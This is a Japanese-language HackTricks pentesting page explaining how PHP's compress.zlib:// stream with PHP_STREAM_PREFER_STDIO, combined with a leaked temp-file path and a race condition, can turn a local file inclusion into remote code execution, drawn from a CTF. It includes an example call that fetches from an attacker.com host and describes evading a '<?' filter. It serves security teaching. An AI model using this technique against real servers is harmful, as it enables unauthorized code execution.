hacktricks/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

2.4 KiB

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

{{#include ../../banners/hacktricks-training.md}}

compress.zlib://PHP_STREAM_PREFER_STDIO

PHP_STREAM_PREFER_STDIO フラグを使用して compress.zlib:// プロトコルで開かれたファイルは、後で接続に到着するデータを書き続けることができます。

これは、次のような呼び出しを意味します:

file_get_contents("compress.zlib://http://attacker.com/file")

http://attacker.com/fileにリクエストを送信すると、サーバーは有効なHTTPレスポンスでリクエストに応答し、接続を維持し、後でファイルに書き込まれる追加データを送信する可能性があります

この情報は、php-srcコードのmain/streams/cast.cのこの部分で確認できます:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

レースコンディションによるRCE

このCTFは、前のトリックを使用して解決されました。

攻撃者は、**compress.zlib**プロトコルを使用して、攻撃者のサーバーからファイルを読み込む接続を被害者サーバーに開かせます

この接続が存在している間、攻撃者は作成された一時ファイルのパスを外部に流出させます(サーバーによって漏洩されます)。

接続がまだ開いている間、攻撃者は自分が制御する一時ファイルを読み込むLFIを悪用します

しかし、ウェブサーバーには、<?を含むファイルの読み込みを防ぐチェックがあります。したがって、攻撃者はレースコンディションを悪用します。まだ開いている接続の中で、攻撃者ウェブサーバーが禁止された文字を含むかどうかをチェックした後にPHPペイロードを**送信しますが、その内容を読み込む前に送信します。

詳細については、https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includerのレースコンディションとCTFの説明を確認してください。

{{#include ../../banners/hacktricks-training.md}}